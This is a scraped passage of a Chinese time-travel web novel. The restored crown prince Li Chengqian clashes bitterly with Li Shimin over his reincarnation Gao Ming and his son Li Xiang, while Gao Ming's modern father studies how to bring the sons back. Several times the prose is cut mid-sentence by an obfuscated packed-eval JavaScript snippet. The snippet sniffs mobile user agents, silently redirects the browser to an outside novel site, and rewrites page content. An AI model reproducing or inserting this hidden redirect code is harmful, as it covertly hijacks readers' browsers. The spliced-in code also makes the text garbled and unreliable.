一场鸿门宴,搞定了苏勖,眼看苏勖退出《括地志》策划编撰,结果李世民来了这么一遭,无疑帮着苏勖甩了一巴掌给长孙无忌。 世家大族看不上军功起家的关陇李姓,不服太子做主考,《贞观字典》发行前,他为字典造势,先挑出了李承乾部分策论编辑成册发行。 李承乾注解排版的《论语》并字典一同发行,此举带来的效益是巨大的,此前怀疑太子主考的世家大族潜身缩首,再不敢有异议。 此前抬举李泰,李泰数次犯错他也没有重罚,天下人不知内情,只怕会以为他为了易储,逼疯太子。 李承乾不能疯,更不能死,才冠当世的太子,突然暴毙,天下人会以为是他嫉贤妒能,容不下李承乾,逼杀太子。 棋走的太猛,生了变故,难以收场。 脑袋裂开一样的疼,李世民学着李承乾之前的按摩手法,却没起到什么作用。 “承乾啊承乾,你可是给阿耶出了一个大难题。” 没办法,李世民只能再去显德殿,他必须尽快把事态压下来。 李承乾在廊下撸猫,时不时打个哈欠,整个人看着十分闲适。 李世民驱散了无关紧要的人,院子里独剩他父子二人。 “说好了五个月的期限,才过了半个月,父亲你就过来碍人眼了。” 李世民坐到李承乾身边,将眼下的困境说明。 “承乾,高明做了那么多,他在朝野的声誉。若他疯了或是暴毙,会寒了天下万民……” 李承乾目露讥诮之色,“真正的民没那么心让父亲你寒的,吃饱穿暖,衣食所安就是他们追求。那些文人士大夫,无非争权夺利,风头一过,他们一样位列朝堂,追名逐利。父亲,你不要那么虚伪,直接说你怕史书写你逼疯太子或者逼杀太子就行了。” 李世民压了压心头的火气,缓和下口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那我就更不愿意他回来,你对高明有多大的恩?要他给你当牛做马,他就是当牛做马,也是给我爸妈当牛做马,你算老几?” —————————————— 之前有读者建议两个时空流速不一样,我试了一下,但是有读者提出,如果时空流速不一样,那么存在以谁为本位,最后决定保持原来的时空流速 第148章 皇孙 “承乾,很多事情不能想当然,那不能随心所欲的,如果你真的毁了高明,再回到那个时代,你怎么面对高家父母?” 父亲在拿捏他,李承乾冷笑一声,“五个月后,高明要是回不来,我难不成要一直同你虚与委蛇?你可别忘了,我们有五个月的约定。” 李世民道:“那你在东宫装病,五个月之后,朕成全你所愿,这五个月之内,你不要毁了高明,他真的是你的转世。” “知道了。” 李世民道:“人前你说话客气些。” 李承乾懒得理会,自顾撸猫。。 “明日准时上朝,对外就是你风寒久病初愈。” 李承乾不耐开口,“嗯!知道了!” “承乾,你不要任性。” “有时间在这里废话,不如好好同我讲一下,高明在这里三年,都有那些事迹,他的人际关系。” 这小刺猬总算收了刺。李世民长舒了口气,侃侃而谈有关于高明的过往。 李承乾听罢,陷入良久的沉默。 听父亲讲述那段过往,他竟会感同身受,半点不惊讶高明做出的选择,会代入高明的角色。 高明,或许真是他的转世。 他可以毁了自己,却不会毁了高明。 翌日三更,李承乾准时起身,换了朝服到承天门在候召。 众人看到太子过来,不约而同的围了上去。 “太子殿下,您可算是上朝了。” 李承乾对着魏征拜了一拜,“就是普通风寒。” “普通风寒,连探病都不许了。” 李承乾轻笑,“身体发热难受的紧,我到外头凉快了会儿,运气不好让陛下逮着了,然后就被罚了,不许我出门,还不许我将药做成糕点,那苦药汁子,折腾我半死。” 长孙无忌出来打圆场,“老臣明白了,殿下这是学了谁,药吃一口倒一碗?” 魏征:…… 李承乾笑道:“舅父,我青出于蓝,倒整碗,一口都不吃。” 长孙无忌道:“陛下要是知道了,估计要动家法了。” “没动家法,就是让玄甲军盯着我吃药。我本来想找师傅写一份奏疏,吃药这种事情,别强人所难。” “然后呢?”尉迟宝琳不知道从哪里冒出来,露出一双八卦大眼睛。“殿下快说,然后呢?” “陛下不让我出去,我就大喊天可汗**亲子,陛下说我败坏他名声,就直接把东宫封了。” 程咬金也出来打圆场,“那是得把东宫封了,陛下脸皮薄,让太子殿下这么一喊,陛下都不敢上朝了。” 果真如此,为何大臣们递上去的奏疏泥牛入海,在列都是聪明人,知道许多事情点到为止,太子这么说了,此事也就到此为止了。 怕李承乾被看出破绽,李世民提问李承乾时,尽量找一些无关痛痒的话题。 大臣们向李承乾提问,就十分刁钻了,可李世民发现,李承乾条理清晰,语气平和,气质温润,完全不似他在东宫看到的李承乾。 李世民心下有些小激动,是高明回来了吗? 抱着这种思想,李世民艰难熬完早朝,迫不及待的开口:“承乾,你们又换回了吗?” “父亲,你在想什么?我答应你人前做戏,人后你还要得寸进尺?” 触及到李承乾眼底的讽刺,李世民一颗心凉透了,高明没回来,这副身体里还是那只小刺猬。 “一个工具,难得父亲你还动了情意。”李承乾冷哼一声,“我记得你批了五个月的假期,今日露了脸,明天我就不来上朝了。” “承乾,多谢你的配合。你恨我,骂我,甚至想打我都行,只一点,别坏了高明的名声,他这一路走来不易,别让他再回来时,又是一地狼藉。” 李承乾转身看向李世民,“他过来时还在贞观十年,那个时候我一没有沉迷酒色,二没有豢养男宠,三没有披发慕胡。唯一被**的就是奢靡享乐,一个月八千钱份例,我到底有多奢靡?还一地狼藉,别什么屎盆子都往我头上扣。” 李世民被怼的哑口无言,李承乾尤不解气,又添了一句,“父亲不就是存着希冀,盼他回来,帮助完成这个时代所不能完成的一些事情吗?直接明说就好了,一口一个高明不容易,大臣们都退朝了,还在这里演慈父。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我这都回来了,爸你还在研究这玩意儿?” 高柏合上书,笑着叫高明坐下,“明明,爸爸如果说对承乾也生了父子之情,你会不会怪爸爸?” 高明将茶放到桌案前,道:“爸,我是他的转世,我们是一个人,您爱的自始至终都是我。” 高柏轻笑,十分欣慰儿子能想开,“承乾有些偏执,我不知道你们怎么换回来的,可他知道我在研究这些东西,我怕他会多想,认为是我把他抛弃了。” 高明思索片刻,这个可能性是真的大,初始化李承乾是真的会这么想。 “爸爸一开始,是打算回到过去,不能把你带回来,至少陪在你身边,可总不得其法。” 李承乾看了一眼书桌上高高垒起有关玄学的书,这种鬼神之论,历代王朝都会有意识封禁,上世纪六七十年代也烧了不少。 白居易有诗云:野火烧不尽,春风吹又生。哪怕代代查,代代烧,民间也总有人冒天下之大不韪将东西留下,高家的祖先就这么干了。 “爸,你就是回去了,也很难进宫,更别说在我那个父亲手里抢人,您打不过他的。况且,您走了,爷爷奶奶怎么办?” “你爷爷奶奶支持我的,他们更怕你在那个陌生的时代受苦。”高柏笑了笑,从抽屉里抽出一张纸来递给儿子,“来,我们太子殿下说说,为父这篇文章写得如何?” 高明逐个字看完,向父亲竖起了大拇指,“厉害,您这练了多久?” 高柏道:“从知道你被换芯子,我就开始学着把白话文改写成古文,打不进皇宫,考进去总行吧?” “爸,唐朝也有鱼符路引,您老人家就这么回去,别说考进太极宫,还没进长安,就先给人抓起来了。” 高柏笑用从李承乾那里学来的唐朝官话回答:“借尸还魂,这个可以忽略不计。” 高明乐了,抚掌喝彩,“连大唐官话你都学了,爸你太厉害了。” “今天没去泡图书馆?” 高明笑道:“爷爷给联系了研究基地,我一会儿去研究基地。” “我这么多年的存款都给你,还有你这么多年收的红包,你再贷点儿款,建立个小小的试验基地没问题,有个乐趣可以长久也是一件很幸福的事情。” 高明摇头,“我还没想好做什么,就是在贞观种的那一季无疾而终的稻子,我有些不甘心。” 高柏心下泛起一股不安,却没有点破,只是拍拍儿子肩膀,“只要不是违法犯罪,你想做什么,爸爸都支持你。” “爸爸还在研究,是要回去吗?” 高柏点头,“承乾的知识积淀,做那个时代的太子没什么问题。问题是你留下的局面,那些超越一个时代的知识产物,承乾没有你的知识积淀,他会摔跤的。他那个性子,对上天可汗,一开始或因愧疚可以安然无恙,时间长了肯定要吃亏,我要想办法尽快过去,带他回来。” “爸爸,若您带不回来他呢?” 高柏哑然,转世就不是完全意义的一个人,选择承乾还是高明,都意味着取舍。 “爸爸,送我回去,我自己留下的烂摊子,我自己收拾。那个我,让他回来吧!” “胡说什么呢你?”高柏想都没想,直接否决,“那个时代,于你于承乾,都不是一个好去处,你给爸爸一些时间,爸爸一定找到两全之法,最好能带回贞观那个肉体承乾。” 高明道:“我留下的烂摊子,不是曾经的我能收得住的,一个王朝初始气象很重要,我那个父亲也不好收住这个烂摊子。爸爸,我也学着您和妈妈养高明和承乾一样,养了李象。我给了他光明,我不知道我就这么离开,他会有多么绝望。况且,我又不是不回来,说不到到了贞观十七年,寿元尽了,我就直接回来了。” 高柏沉默半晌,看着高明意味深长说:“把你送回去我没那个本事,但我可以让你们梦中见一面,平行时空的自己,已经不是完全是意义上的一个人了。明明,你或许应该和曾经的自己对话。” 高明点点头,心情沉重的告别父亲。 人类的痛苦具有共通性,自李世民将李象放入继承人名单,李象的日子可谓是水深火热, 算数题被臣等高阁,每日之乎者也,许久不在这上面下狠功夫,学起来吃力的紧。 弘文馆负责教导李象功课的师傅得了皇帝密令,查起李象功课卯足了劲儿,被束之高阁的戒尺不得空闲。 东宫被莫名封禁了一段时间,不知内情众人都以为是太子得罪了皇帝,连累李象在弘文馆被皇帝责难。 右手写字不能打,李象的左手每日都肿的老高,此前功课上被李象压一头,现在看李象受罚,一同上课的几个孩子,嘴上不说,心里却是出了一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490194|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶气。 自己在这里待不长,李承乾不愿意见李象,失去一次全心全意疼爱自己的父亲已经很痛苦了,没必要跟他在处出父子之情来,痛苦一次就够了,没必要再来一次。 “你的手怎么了?” 东宫里瞎转悠,正好碰见从弘文馆回来的李象。 “儿拜见父王。” 李承乾点点头,上前去看查看李象的左手,“皇帝叫人打的你?” 李象的身份,除了他李承乾,也就皇帝敢打。 “孩儿愚笨,功课做的不好,孩儿回去再多钻研,会好的。” 李承乾拍拍李象后脑勺,“明天不用去上课了,为父给你告假。” 话音未落,李承乾拂袖而去,李象追上前,“父王,你去哪里……” 李承乾停住脚步,回头看着李象,“我只问你想不想学?不想学就继续学你的算学,我不信大唐找不出一个好的算学师傅。想学了,那你就回去学,往后你挨打我也不过问。” 李象思索良久,道:“孩儿想学算学。” “很好,接下来的事情你不用管了,有你老子呢!” 言罢,李承乾一路出了东宫,直奔甘露殿。高明不了解皇帝,给皇帝出谋划策当工具人而不自知,他李承乾还不了解皇帝吗? 知道了李泰和李治的德行,害怕李泰上位被山东大族架空。又因武周的谶语,怕李治上位大唐逃不过武周代唐。 李象一个庶人,能教育好儿子把他送回昭陵,现在是觉得李象本身有利可图。 自己儿女祸害完了,来祸害他儿女了,是可忍孰不可忍! 听宫人通报李承乾来了,李世民下意识想要拒绝,又怕李承乾直接在外面闹,遂命张阿难将人叫进来。 李承乾进殿,冷厉的目光扫了眼殿内众人,“都给孤出去,孤有话同陛下说。” 来者不善,李世民抬手屏退左右,正要开口询问李承乾为何事而来,李承乾率先开口。 “姓李的,你是不是祸害别人家孩子有瘾?折腾的高明半死不活,又来折腾李象?” 李世民拍案怒喝,“李承乾,你还有没有点分寸?” 李承乾冷笑,挑眉道:“分寸?你打我儿子,你讲分寸了吗?没喊你小李后,我已经很有分寸了。我可不是高明那个软柿子,你想怎么捏就怎么捏。” 第150章 承乾释然 李世民随手一个砚台扔过去,李承乾侧身躲过了。 “再敢造次,信不信朕宰了你?” 李承乾抚掌大笑,“有这等好事儿?快点,快点,我都等不及了。” “李承乾,你个逆子!” 一听这话,李承乾笑的更欢,“后世之人调侃你们老李家知道怎么说得不?” 后人的调侃,他都被调侃成小李后了,可见后人嘴巴的毒辣程度,李世民是一句都不想听。 “朕不想听,你闭嘴!” “切!”李承乾白了眼父亲,“我又不是哑巴,您让我闭嘴我就闭嘴?高祖无大儿,二郎无长兄。九郎娶小妈,三郎爱儿媳。我亲爱的阿耶,惊不惊喜?意不意外?刺不刺激?” 李世民胃里一阵抽痛,咳嗽一声接着一声。 “李象再在弘文馆挨打,我就宰了他,再弄死太子妃母子,摆上阿翁和母亲神位,穿着太子朝服吊死在东宫的房梁上。” “逆子……逆子……” 李世民随手抓起案上的镇尺丢向李承乾,李承乾照例躲开。 “阿耶,您这话说得好像李建成和李元吉是善终,高祖他老人家主动做的太上皇似的。玄武恒久远,逆子永流传。咱老李家的优良传统,可不能丢了。” 李世民掀了桌子,冲着李承乾去,李承乾也不躲,李世民抡拳头他就直挺挺的站在那里。 “你个逆子……逆子……” 拳头到底没有落下,李世民缓缓回到位上,整个人如脱了力一般落座,趴在扶手上哭。 “李象他喜欢学算术,我打算给他找算学师傅。至于那些之乎者也,他没必要死磕。” 李世民哽咽道:“你自己不成器也就罢了,还不让朕的孙儿成器。” “父亲,您的孙子,成不成器,差不多都死的不明不白。我对李象是没什么父子感情,但也不想死后连个上坟的都没有。” 李世民:…… “高明,他除非气急了,否则不会这么气朕,就是气急了,他说话也会有些分寸的。” 李承乾叹气,说话的口吻颇有几分恨铁不成钢的味道,“我都怀疑他是不是我李承乾的转世,他还是不是李家的种?狼心狗肺,才应该是李家风格。” 说到这里,李承乾双眸八卦之光闪烁,“父亲,我问过高明和我爸妈相处,我爸说,二十八年父子,高明在他们面前,高声话都没说过一句。您是怎么办到的?把他惹急了,我特好奇。” 李世民抬头去看李承乾,恨不能一脚把李承乾踹出去,“都被那个姓高的老匹夫教过的,还是一个人,怎么差那么多?” 老匹夫! 李承乾笑容僵了一瞬,旋即又眯着眼睛笑,“都是小李后的儿子,我怎么差那么多,就玩儿个男人,有机会找个小妈或者兄弟媳妇儿玩玩儿,再砍几个叔父兄弟,弄死几个姑姑姊妹,助助兴才好。” “噗……” 李世民一口气没提上来,眼前一黑,脑袋靠在扶手上。 李承乾吓了一跳,忙上前去查看,“您可不能死,就是死也不能碰瓷我。高明他要回来的,您要是**,高明回来他也毁了。” “你说什么?”李世民猛的抬头,随手擦去嘴角的血,“高明,他要回来?你没骗朕?” 李承乾点点头,“昨夜我和他梦中相会,他跟我说的,他说他留下的局面,是超越一个时代的知识的产物,我收不了场,你勉强收场也会后患无穷,他会回来善后,还让我别胡闹。” 李世民又哭又笑,“朕没看错,他是一个很有原则的人,是一个很负责的人,他不会有始无终,不会拿大局开玩笑。” 李承乾眼泪不由自主往下滚,“他就是一个蠢货,等他被你利用完,没了价值,他才会后悔。轮回一千多年,还要回这个**的地方。” “承乾,你我父子之间有误会。” 李承乾摇头,“我不想听你解释,嫌弃!” 李世民:…… “他说,我和他一体同心,两副皮囊。可我和他,真的一点都不像。” 李承乾满脸自嘲,又哭又笑,回来时满心期盼的想要回去,能回去了又觉得他应该烂在这个时代。 “父亲,您说我这副德行,到底要经历多少,才会变成高明?我不想高明回来,在这里沉沦,受这生不如死的折磨。” 李世民捂着胸口起身,上前轻拍李承乾肩膀,“承乾,你原本也是好孩子,是阿耶错了,是阿耶太过感情用事了。 若我没有从贞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490195|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观八年开始疏远你,没有在贞观十年抬举青雀,没有纵容他们欺负你,你也不会变成贞观十四年后那个荒唐的太子,你还会是贞观十三年前那个举朝称颂的贤明太子。 高明说我将高祖对我的愚弄,因嫡次子错失太子之位的怨气和不甘发泄在你的头上。承乾,阿耶承认后来的种种,确实有这种不甘作祟,是阿耶对不起你。你,一直是个好孩子,是阿耶害了你。” 李承乾听罢大笑,“他真的这么说吗?有胆识,我相信了,他是我转世,也是我自己无用,若我有高明的果决,不为没必要的情感所累,不让情绪左右自己,也不会落得那样一个下场。” 李承乾扒拉开父亲放在自己肩膀上的手,转身往殿外去。 “我在东宫等另一个我回来,这段时间我不想看见您,想必您也不想见我。就是想来招惹我,也请您打消那个念头,千万别让我说出什么好听的来。” 李承乾往殿外走,他等了那么久的答案,父亲终于给了,父亲承认了,承认了至少截止贞观十三年,他是一个合格的太子。 “父亲,我不怨您废黜我,因为贞观十四年之后,我的确私德有亏,不是一个继承人该有的模样了。人的欲望一但被打开,就会无限放大,我自己也保证不了,做了皇帝之后,品德会不会影响到朝政。 我和高家父母只相处了三年,哪怕知道我是个假货,我爸妈研究玄学,也没想把我送走,而是想着怎么回来把高明带回去。 高明说,这一次互换跟我爸没关系,他找回了自己的儿子,也依旧没放弃研究玄学,若高明不愿意回来,他会亲自过来,用他的学识替高明,也是替我收拾烂摊子,带我回家。 父亲,我很快就会离开这里,去我想去的地方,那里有疼爱我的亲人。祝愿父亲得偿所愿,用未来的知识,把你的贞观之治推向更大的辉煌。” 当年谋逆案发,他们最后一次谈话,李承乾也是这样决绝的走出去。 那时,李世民第一次意识到,他可能错了,他伸手想要挽留,却没能喊出来的名字,这一次一连喊了三次,始终不见李承乾回头。 高明一开始就不属于他,承乾也彻底失去了。 姓高的老匹夫拐他儿子,这老匹夫,怎么敢啊。 第151章 父子谈话 曾经问出去,却没有得到的答案,终于得到了,无论真心或者假意,堵在心口的气散了。 李承乾的气质柔和了许多,每日最喜欢的事情,就是坐在廊下,撸着怀里的小狸。 李象从弘文馆回来,时常能看见闭目养神的父亲,他心里明白,父王和阿耶,都是疼爱他的,只是疼爱的方式不一样。 “父王,今天师傅没打儿了。” 李承乾阖眸撸猫,闻言轻笑,“没有就好,有的话记得说,老子宰了他。” 李象凑上前,小心的侍立在父亲身边,“父王,儿可以在这儿待一会儿吗?就一小会儿。” 自己眷恋父母,何况李象一个孩子,李承乾睁开眼睛,认真打量这个孩子。 “为什么?” 李承乾一脸的懵懂,不懂父亲问出这话什么意思。 他对李象并不好,李象为什么要坚定选择他呢? “过来,让我抱抱你。” 李象小心挪了过去,李承乾将怀里的小狸放下,伸手拉着李象近前,抱他坐到自己怀里。 “你很聪明,我一回来你就认出来了。” 李象点点头,“阿耶是父王转世,他和父王是一个人。” 李承乾苦笑,刮了下李象鼻梁,又将人放下。 “我知道你是个好孩子,可老李家的孩子,好好的活着不容易,回你的宜春殿去,别同我接触过多,会给你带去晦气的。” 李象眼睛酸软,眼泪不争气的往下掉。 “儿告退,愿父王千秋常在。” 李承乾点点头,“喵喵”叫了两声,小狸重新回到他怀里。 东宫又被玄甲军封了,吴安疾步进来禀报,李承乾微微皱眉,没等李承乾想明白,就见李世民从显德殿的大门进来,“都出去,朕同太子单独待会儿。” 李承乾起身拜了一拜,又坐回廊下,“喵喵”唤来小狸,抚摸着小家伙柔软的**。 “父亲,这又唱哪一出?” 李世民道:“你才回来时,朕不得已封禁东宫,不少臣子蠢蠢欲动,魏王府热闹的不行。” 都是接触过帝王心术的人,李承乾瞬间明白,“父亲是想添一把火,好顺理成章揪住青雀的错处,把他外放出京。” 李世民点头,“无过责罚,青雀必定心存怨怼,他有野心,东宫封了,他肯定会有动作。” 李承乾微微勾唇,当初他被废黜时,李泰夺嫡失败被贬斥,魏王党许多人或贬或杀,如今是提前了。 “父亲,您可以直接和青雀明说,他听不懂人话执意一错再错,您直接送他离开长安,他才会心服口服。这样玩儿手段,跟逗狗一样,会适得其反。” 李世民叹气,“难得你这么心平气和的同为父说话,为父还以为是高明回来了。” “您要是喜欢之前我说话的态度,我可以改。” 李世民连忙拒绝,“不……不用……” “没跟你开玩笑,父亲当年若明说您不想一个瘸子做太子,臣未必不能做刘强。可父亲您没有明说,而是抬举李泰恶心我,您恶心我,我自然要恶心回去。 我监国那么多年,哪怕最后疯成那样,朝政上都没有出现过决策错误。父亲觉得,我不知道那谋反跟开玩笑一样?赢得希望渺茫?我什么都知道,孤注一掷,就是想恶心你一把。 所以,父亲,我劝您一句,趁事态没有恶化之前,您自个儿去同青雀说清楚利害关系。否则,有朝一日,您会后悔的。” 李世民道:“青雀和你不一样,你性子刚烈,是为父不了解你,才让你我父子走到最后那一步。兜兜转转,我废掉的太子,才是最合适的太子。” 顾左右而言他,李承乾冷哼一声,“这同我被废黜那一次情况完全不一样,那一次是我自取灭亡,青雀未能被立储是他棋错一招,所以满盘皆输。这一次,是您要给高明扫除不必要的麻烦,故意设局坑引他犯错。 我也好,青雀也罢,父亲,我们都很崇拜你的。父亲,你不了解我,也不了解青雀,你只知道青雀阴狠毒辣。其实,他的和我一样,骨子里极度的骄傲,我们可以接受自己技不如人,但接受不了被人**。” 李世民叹气,“你和高明很多时候还是很像的,高明也悲悯过青雀。” 李承乾轻笑,“我的履历,十二岁入朝听讼,决策朝中事物,十四岁开始监国,从未出过任何错误,满朝称颂。你养的那一堆难缠的言官,有攻击过我的朝政决策吗? 青雀有什么履历?唯一拿得出手也就《括地志》了,《括地志》的主要策划人还是苏勖,带领萧德言,顾胤,蒋亚卿,谢偃全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492879|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国各地到处搜集整理资料的还是苏勖(本段见百度百科苏勖个人简介和成就那块儿)。 我从来都不是因为青雀的逼迫疯魔,没有父亲你下场恶心人,青雀他根本没那个资格跟我斗。父亲,我和青雀的悲剧,你才是始作俑者。” 李世民久久不语,小狸花在李承乾怀里打了好几个滚儿。 “承乾,阿耶过来就是告诉你,玄甲军封禁东宫,你不要生了不必要的恐慌。” 李承乾冷笑,“我能在这里待几天?恐慌?不存在的!真是多此一举,我巴不得你弄死我,另一个我要回来是一回事,我可一点儿也不愿意另一个我重新搅进这浑水里头。” “你好生歇着,阿耶回去了。” 李承乾不语,只一味低头撸猫。 “这小东西就那么吸引人?你和你的转世,都着迷的不得了。” 李承乾笑道:“父亲喜欢养鸟,我喜欢养猫狗之类毛茸茸的小家伙,个人喜好而已。” “可你从前没养过。” 提到这个话题,李承乾眼底翻涌出一抹哀伤来。 “养过,阿翁送我的生辰之礼,还让我养在太极宫里,后来被四叔弄**,砍断四肢,剜去眼睛,我亲眼看着它挣扎断气,亲手埋葬了我人生中唯一的一只猫。 父亲登基时,放了自己豢养的禽鸟走兽,那时我就知道,皇帝都不能养,成为太子的我,养了这些小东西,只能再次看它们惨死。” 李世民心口阵阵发痛,哽咽道:“承乾,你四叔那些事情,这些你从未告诉阿耶。” “四叔没品,他家的孩子尤其爱惹是生非,我跟四叔家孩子打架,阿翁拉偏架,用我敲打功高震主的父亲,父亲你也不是什么好脾气,不问缘由先收拾我。头一两次是没机会解释,后来养成了不解释的习惯。” 李承乾长叹一口气,“不过,不重要了,我在高家做儿子时,有一堆毛茸茸的小家伙。老舅看着大大咧咧,骨子里精明过顶,他早就知道我不是高明,可我妈接受了我,他也就接受了我,出于对我妈的情意,他又重新买了一处房子,照着高明的配置,依照我的喜好,给我养了我喜欢的动物。” 李世民内心大写的服,高家的人,宠孩子是真的宠,李承乾被那么宠,居然没有被宠坏,简直是祖坟冒青烟了。 第152章 难得两全 “你很快就要离开这里了,阿耶就是多看看你,陪你说说话。高明是你的转世,却终究不是你。你和他,到底是不一样的。” 怀里的小狸花跑了,李承乾坐不住了,起身往显德殿去,“很没那个必要,我现在不需要父亲看我,陪我。” 李世民跟着李承乾一起进显德殿,“你若不**,朕不会废了你的。” 李承乾道:“太子无大过而废,隋文帝被骂了几十年,您看重自己的身后名,我知道。” “青雀后来的不择手段,朕对他也很是失望,所以朕让三品以上官员嫡子出仕东宫,还说就算你没了,就立你的孩儿为嗣君。” 李承乾轻笑,“那青雀的不择手段,您对他有实质性的处罚吗?他那远超太子的荣宠,有半分削减吗?您对我的态度,有好过一分吗?朝野站队魏王的格局,有因为他们嫡子出仕东宫改变吗?” 李世民哑然! 李承乾哂笑,“看,所有人都知道,您要废太子立魏王,所以您那些自我感动的手段,在朝野看来就是走走过场,太子终究还是会被废黜。 您对李泰说:设无太子,则母弟次立。鼓励青雀夺嫡,紧接着又驾幸李泰封地,赦免死囚,大肆赏赐,不管您的初心如何,最终的结果就是为李泰造势。 贞观十三年,我的拜师宴。贞观第一相房玄龄,猜不透君心,他怎么敢公然缺席我的拜师宴?若他没有收下帖子我就不会摆下宴席,若他遣人告知不来,我就不会空等半日。 父亲,房玄龄这么羞辱我,您对他有一句申饬吗?您一句重话都没有跟房玄龄说,您默认了房玄龄羞辱我。那件事情过后,每次上朝,我都能感觉到朝臣眼底的不屑。朝臣心中,我这个太子早就不废而废了。 父亲,我就要走了,您要用的太子也不是我,您跟我说这些没用。您老人家在我这里的信用,跟张大帅在日本人那里的信用差不多。这些话留着给高明说,其实你也不用同高明说这些,他根本不在乎,我对您还有些情意,高明心中的父亲只有老高,你只是他的东家。” 太阳晒久了,浑身困乏,李承乾打了个哈欠。 李世民背过身去,默默垂下眼泪,“承乾,阿耶欠你良多,就是想多陪陪你,你这一走,阿耶不知道何时才能见到你。” 李承乾深吸一口气,真的很没必要。 “父亲,我没有高明的修养,那些粗话,脏话,心里头不痛快我什么都说。所以,我觉得您没必要过来找气受。时空错位,再多的愧疚和补偿都是笑话。” “阿耶知道,阿耶就是想多看看你。” 李承乾轻笑,这个时候父亲的情意是真的,但也仅仅只是这个时候是真的,他若走不了,没办法应付高明留下来的局面,父亲这份情意会荡然无存。 君权神授的理念,将皇权同上天的认可绑定,大唐的太子梦中得机缘,那是上天对大唐社稷的认可,若太子顷刻间江郎才尽,那是不祥之兆。 高明回不来,他必须在制考之前,体面的“暴毙”,皇帝“逼杀”太子和天不佑大唐社稷,后者带来影响更加恶劣。 “父亲,不知道高明有没有跟您说过,这一次您可别去长孙无忌面前胡咧咧,什么吴王恪英果类我,您会害死他的。还有那个权万纪,沽名钓誉的玩意儿,你趁早把他从李祐身边弄走,李祐那个舅舅,打发的远一些,神不知鬼不觉的处理掉。 高祖太远起兵,阴世师掘了李家祖坟,大唐进长安后,高祖将阴家满门抄斩。阴弘智和阴妃因年幼躲过一劫,可不代表他们忘了阴家的灭门之仇。父亲,我知道您对这些庶子没太多情意,可他们始终是您的骨肉。” 李世民泪如雨下,这话高明也跟他说过,高明和承乾,他们真的是一个人,骨子里都是温良的,承乾只是少了高明的经历,少了高明的学识。 “承乾,阿耶想抱抱你。” 李承乾:…… “一把年纪了?有什么好抱的?” 他在说李恪和李祐的事情,父亲在说什么? “青雀和雉奴,他们都曾扑到阿耶怀里,承乾,你从来没有,哪怕我们父子感情最为亲厚的时候,你都没有入怀让阿耶抱抱你。” 李承乾道:“我不喜欢被人抱,高明喜欢,听我爸说,高明很娇气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492880|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,吃了药都要人哄。我也佩服那个我脸皮厚度,一千多岁还撒娇。高明回来,你抱高明是一样的。” 李世民:…… 感情那一次淋雨,闹脾气不吃药,是高明的本色! “那个老……” 匹夫两个字险些脱口而出,自从知道高柏想要来贞观,带走李承乾,高先生三个字巨烫嘴。 “这么说,那个小吏也哄过你?” 李承乾点头,“哄过!” “你愿意让他哄?” 李承乾哈哈一笑,“父亲,有糖吃,谁愿意吃苦头?” “他哄你,你乐意,朕哄你,你不乐意?” 李承乾:…… “青雀给您献食,一片孝心。我变卖东宫份例给您献食,是不学无术。我是父亲的儿子,父亲怎么做,儿子怎么学,有问题吗?原件有问题,怪复印件不行,真有您的!” “你……” 